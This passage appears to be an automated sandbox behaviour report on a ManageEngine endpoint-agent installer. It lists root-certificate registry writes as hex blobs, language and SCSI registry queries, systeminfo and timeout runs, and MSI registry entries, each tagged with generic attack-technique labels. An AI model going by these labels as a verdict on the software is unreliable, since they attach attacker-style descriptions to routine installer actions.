a84301f0603551d2304183016801467291eb8f0b6f9e21fc2ab93b961b8d8163e2a84300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b0500038201010072a4f3381ef268f02fc68b19aa335ebfaac9fda28e31009944629a704e4f66b840c3d2869e469c9b94a2399f80a43fb4a8078793d96f1462666cf720a623de9145528094887e86299677fabc9b2929ae893dfc31c2479056f663864bb7a5939d1b093870d97349fd2da12d0df6dbb6d1f41a46b599cbf3a694f5867141e6e5261d637f21eca8c8caf5357e4ccc123b602c00716ffaeab322f501b0091d6dba3c6c0457fd299f8317d45e3023244a3660184347dfb432f0f29f8657ff514ef0e00973b8e4d58c5853908c0f0537e7844b44fb37271f1233b37653c79f48afe19df6871e67fc475d23c65b01cea324935f31fa9910f4b65fb20475d64433f8c455 dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\0D92AFF4C6FB3C599FA32CB978DD498ABA7443D2\Blob = 0300000001000000140000000d92aff4c6fb3c599fa32cb978dd498aba7443d22000000001000000d8030000308203d4308202bca00302010202083239d5ba30167e99300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303930313036333232375a180f32303531303930313036333232375a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100b71a8951641c7ad67f6a2d386080a60349725a3247f1822f0080d765770bfb07c1ded3a4b0042cc88adbfcf6890e0648c22e5bd905d2335d06b31935de204048ec334c831004bfce0bed199661970e464e902e1304afaa9229319638d1de34dbaba72db38925bf0007e114df59469a73162d3fe82bd3df5429f0ed47d377cd0a43038154e7bbfe4513cd2690c99294f33bf0e1f355b892caaea039ea6c30a7047ca40af330af5807b536c255e89397a5965cef155df4b0e242eee74d17563b8d54bbd844283a463df6a46560c7cb022f30856eb0d4ef712e0ec8e0759a57055f4b2e715062761f131411a677d9f58335d298720b0fb0094b5b9223b89a28c2f70203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e0416041467291eb8f0b6f9e21fc2ab93b961b8d8163e2a84301f0603551d2304183016801467291eb8f0b6f9e21fc2ab93b961b8d8163e2a84300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b0500038201010072a4f3381ef268f02fc68b19aa335ebfaac9fda28e31009944629a704e4f66b840c3d2869e469c9b94a2399f80a43fb4a8078793d96f1462666cf720a623de9145528094887e86299677fabc9b2929ae893dfc31c2479056f663864bb7a5939d1b093870d97349fd2da12d0df6dbb6d1f41a46b599cbf3a694f5867141e6e5261d637f21eca8c8caf5357e4ccc123b602c00716ffaeab322f501b0091d6dba3c6c0457fd299f8317d45e3023244a3660184347dfb432f0f29f8657ff514ef0e00973b8e4d58c5853908c0f0537e7844b44fb37271f1233b37653c79f48afe19df6871e67fc475d23c65b01cea324935f31fa9910f4b65fb20475d64433f8c455 dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F28618438628218770F398532E2B5CF9C0EE74F2\Blob = 0f0000000100000020000000edc7c96a0452ef560b0e8b820fa2af702038af1a366a27727ababbdffb9b7335030000000100000014000000f28618438628218770f398532e2b5cf9c0ee74f22000000001000000f0030000308203ec308202d4a003020102020879a049f75ad52cad300d06092a864886f70d01010b05003071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d43413022180f32303236303930313036333232385a180f32303531303930313036333232385a3071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d434130820122300d06092a864886f70d01010105000382010f003082010a028201010097dc6778010d7529e035a1737fe24ba10c4ffa4fe14af3d2eb4c13fda3a3e15552b16ad5c56166dffde448965746968ffb5bc97d16f0bb82ae6100de69337f8fa1e2b30a815cb541a0d755dafcf79fae59b3b1ca64aec627b0057dee6963512c5df4573b5ab5d6885757e80e8877318e1e5a037f33c3199b975bd67495e42478368e144b939d8d2dd60f4f7d8123eeeaeefae5ae386de576f2ac69a263a7c26ddd6cf6f8f254e0434d3b9653771df3855833912aa2c68fbef406f0f054dbe81de3b7aee11b143df3f1a7f82c0e979c48565d148edeabfccd04fffc144d48d88c314c3bb7efec6d06a9bc85905e36b7b67dbd6ff10d0930227ed1f5e68b109c490203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414c914c8412bdba7bf8facd19f3721bf0f3e14ad53301f0603551d23041830168014c914c8412bdba7bf8facd19f3721bf0f3e14ad53300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b05000382010100482d21c21ad129589c39c0710183c28e403e0b31354d100046957c089719c3e59455a49509868abe01b65c2c6e9889487e88479e8197285abccada4f18ab4c4422d4f99af0f95253055fdccc5366af21b8bc77de841b3e8c646b9e204215d02bb059f298c72b46b4490ed7469c61c7577cc1ee3cecf54231a56a10231f138ebbb0f421f38c5f1b9101c8c3fa9bfd13a340b28d030b39277a499ce034d82aa161768b242532b9530ed6830c2d0049f591a576b2c0e5bd0512bb04313a6b4f6c350bad06319012c64277d3f3e7093d941c407a7db5a956ac0b11f1fad4710c9e061f360d9e263ac439d4ce0d53b195d035865921ce0572f7aec00e12ccef99d882 dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\0D92AFF4C6FB3C599FA32CB978DD498ABA7443D2\Blob = 190000000100000010000000b171a743f9c285ef92408477a87508880f00000001000000200000006af0dafab12bdc60f37db34f6af3cbe95526337fc02e692179516b0e34771c760300000001000000140000000d92aff4c6fb3c599fa32cb978dd498aba7443d214000000010000001400000067291eb8f0b6f9e21fc2ab93b961b8d8163e2a842000000001000000d8030000308203d4308202bca00302010202083239d5ba30167e99300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303930313036333232375a180f32303531303930313036333232375a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100b71a8951641c7ad67f6a2d386080a60349725a3247f1822f0080d765770bfb07c1ded3a4b0042cc88adbfcf6890e0648c22e5bd905d2335d06b31935de204048ec334c831004bfce0bed199661970e464e902e1304afaa9229319638d1de34dbaba72db38925bf0007e114df59469a73162d3fe82bd3df5429f0ed47d377cd0a43038154e7bbfe4513cd2690c99294f33bf0e1f355b892caaea039ea6c30a7047ca40af330af5807b536c255e89397a5965cef155df4b0e242eee74d17563b8d54bbd844283a463df6a46560c7cb022f30856eb0d4ef712e0ec8e0759a57055f4b2e715062761f131411a677d9f58335d298720b0fb0094b5b9223b89a28c2f70203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e0416041467291eb8f0b6f9e21fc2ab93b961b8d8163e2a84301f0603551d2304183016801467291eb8f0b6f9e21fc2ab93b961b8d8163e2a84300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b0500038201010072a4f3381ef268f02fc68b19aa335ebfaac9fda28e31009944629a704e4f66b840c3d2869e469c9b94a2399f80a43fb4a8078793d96f1462666cf720a623de9145528094887e86299677fabc9b2929ae893dfc31c2479056f663864bb7a5939d1b093870d97349fd2da12d0df6dbb6d1f41a46b599cbf3a694f5867141e6e5261d637f21eca8c8caf5357e4ccc123b602c00716ffaeab322f501b0091d6dba3c6c0457fd299f8317d45e3023244a3660184347dfb432f0f29f8657ff514ef0e00973b8e4d58c5853908c0f0537e7844b44fb37271f1233b37653c79f48afe19df6871e67fc475d23c65b01cea324935f31fa9910f4b65fb20475d64433f8c455 dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F28618438628218770F398532E2B5CF9C0EE74F2\Blob = 030000000100000014000000f28618438628218770f398532e2b5cf9c0ee74f22000000001000000f0030000308203ec308202d4a003020102020879a049f75ad52cad300d06092a864886f70d01010b05003071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d43413022180f32303236303930313036333232385a180f32303531303930313036333232385a3071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d434130820122300d06092a864886f70d01010105000382010f003082010a028201010097dc6778010d7529e035a1737fe24ba10c4ffa4fe14af3d2eb4c13fda3a3e15552b16ad5c56166dffde448965746968ffb5bc97d16f0bb82ae6100de69337f8fa1e2b30a815cb541a0d755dafcf79fae59b3b1ca64aec627b0057dee6963512c5df4573b5ab5d6885757e80e8877318e1e5a037f33c3199b975bd67495e42478368e144b939d8d2dd60f4f7d8123eeeaeefae5ae386de576f2ac69a263a7c26ddd6cf6f8f254e0434d3b9653771df3855833912aa2c68fbef406f0f054dbe81de3b7aee11b143df3f1a7f82c0e979c48565d148edeabfccd04fffc144d48d88c314c3bb7efec6d06a9bc85905e36b7b67dbd6ff10d0930227ed1f5e68b109c490203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414c914c8412bdba7bf8facd19f3721bf0f3e14ad53301f0603551d23041830168014c914c8412bdba7bf8facd19f3721bf0f3e14ad53300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b05000382010100482d21c21ad129589c39c0710183c28e403e0b31354d100046957c089719c3e59455a49509868abe01b65c2c6e9889487e88479e8197285abccada4f18ab4c4422d4f99af0f95253055fdccc5366af21b8bc77de841b3e8c646b9e204215d02bb059f298c72b46b4490ed7469c61c7577cc1ee3cecf54231a56a10231f138ebbb0f421f38c5f1b9101c8c3fa9bfd13a340b28d030b39277a499ce034d82aa161768b242532b9530ed6830c2d0049f591a576b2c0e5bd0512bb04313a6b4f6c350bad06319012c64277d3f3e7093d941c407a7db5a956ac0b11f1fad4710c9e061f360d9e263ac439d4ce0d53b195d035865921ce0572f7aec00e12ccef99d882 dcagentregister.exe - System Location Discovery: System Language Discovery 1 TTPs 48 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcinventory.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language msiexec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language CRU_Reporter.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language UEMSAgentHealthChecker.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcinventory.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage dcinventory.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcagentservice.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcagentregister.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcstatusutil.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcconfig.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcconfig.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language curl.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language dcagentregister.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage dcagentregister.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language UEMSAgentHCHelper.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcondemand.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcswmeter.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 7za.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language dcstatusutil.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage dcinventory.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language UEMSAgentHCHelper.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language dcinventory.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language mshta.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language systeminfo.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language UEMSAgentHCHelper.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcconfig.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language dcinventory.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language timeout.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcagentservice.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage dcstatusutil.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcusbsummary.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcstatusutil.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dcagentregister.exe - Checks SCSI registry key(s) 3 TTPs 10 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Capabilities dcusb64.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 dcusbsummary.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags dcusbsummary.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\DeviceDesc dcusb64.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags dcusbsummary.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000 dcusbsummary.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000 dcusb64.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Capabilities dcusb64.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 dcusb64.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc dcusb64.exe - Delays execution with timeout.exe 3 IoCs
pid Process 4964 timeout.exe 3068 timeout.exe 3488 timeout.exe - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 5584 systeminfo.exe -
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-2304238888-3968896904-642854331-1000\Software\Microsoft\Internet Explorer\International\CpMRU\Factor = "20" mshta.exe Set value (data) \REGISTRY\USER\S-1-5-21-2304238888-3968896904-642854331-1000\Software\Microsoft\Internet Explorer\International\CpMRU\Cache = a403000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 mshta.exe Key created \REGISTRY\USER\S-1-5-21-2304238888-3968896904-642854331-1000\Software\Microsoft\Internet Explorer\International\CpMRU mshta.exe Set value (int) \REGISTRY\USER\S-1-5-21-2304238888-3968896904-642854331-1000\Software\Microsoft\Internet Explorer\International\CpMRU\Enable = "1" mshta.exe Set value (int) \REGISTRY\USER\S-1-5-21-2304238888-3968896904-642854331-1000\Software\Microsoft\Internet Explorer\International\CpMRU\Size = "10" mshta.exe Set value (int) \REGISTRY\USER\S-1-5-21-2304238888-3968896904-642854331-1000\Software\Microsoft\Internet Explorer\International\CpMRU\InitHits = "100" mshta.exe - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates dcondemand.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates dcagentservice.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust dcagentservice.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates dcagentservice.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs dcagentservice.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs dcondemand.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs dcondemand.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates dcagentservice.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs dcagentservice.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates dcstatusutil.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\28 msiexec.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\29\52C64B7E\@%SystemRoot%\system32\mlang.dll,-4386 = "English (United States)" systeminfo.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs dcagentservice.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates dcondemand.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs dcinventory.exe - Modifies registry class 33 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\DeploymentFlags = "3" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\D8A2F4839B95CB04BA7F5CC68357B333\F1322DA684FF95D4CA6204A5AF2ED37B msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Media msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\F1322DA684FF95D4CA6204A5AF2ED37B\DefaultFeature msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\Assignment = "1" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\InstanceType = "0" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\AuthorizedLUAApp = "0" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\extracted_9AWKS9LP\\" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\extracted_9AWKS9LP\\" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Media\1 = ";" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\AdvertiseFlags = "388" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\D8A2F4839B95CB04BA7F5CC68357B333 msiexec.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\PackageName = "UEMSAgent.msi" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\PackageCode = "3DC0AB524872D4B49B075C211A03C650" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\Language = "1033" msiexec.exe Set value (str) 